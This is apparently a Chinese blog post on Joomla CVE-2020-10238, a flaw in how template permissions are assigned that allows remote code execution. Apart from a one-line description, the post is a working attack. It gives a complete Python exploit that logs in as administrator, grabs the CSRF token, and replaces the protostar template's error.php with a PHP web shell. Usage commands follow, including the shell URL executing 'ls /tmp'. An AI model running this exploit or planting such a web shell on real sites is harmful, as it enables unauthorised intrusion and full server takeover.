返回顶部

joomla 代码执行 (CVE-2020-10238)

目录

1、漏洞描述

2、访问ip:port

3、漏洞利用

4、EXP 

5、Web访问,命令执行


1、漏洞描述

        Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 joomla 权限分配不合理导致rce。

2、访问ip:port

3、漏洞利用

python exploit.py -url http://193.168.0.45:19027/ -u admin -p admin

4、EXP 

#!/usr/bin/python import sys import requests import re import argparse def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for admin login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) # print token if not token: return False print('[+] Logging in to admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_templates' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print "[-] You are not administrator!" sys.exit() return token def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print '[+] Checking:' shreq = sess.get(url + path2shell) shresp = shreq.text print shresp + '[+] Shell link: \n' + (url + path2shell) print '[+] Module finished.' def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-cmd", "--command", default="whoami", help="command") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print '[+] Your target: ' + url # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # command command = format(str(args['command'])) sess = requests.Session() if (try_admin_login(sess, url, uname, upass) == None): sys.exit() token = check_admin(sess, url) rce(sess, url, command, token) if __name__ == "__main__": sys.exit(main())

5、Web访问,命令执行

http://IP:PORT/templates/protostar/error.php?cmd=ls%20/tmp


__EOF__

本文作者流年
本文链接https://www.cnblogs.com/it-sec/p/18574573.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   IT-sec  阅读(18)  评论(0编辑  收藏  举报  
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示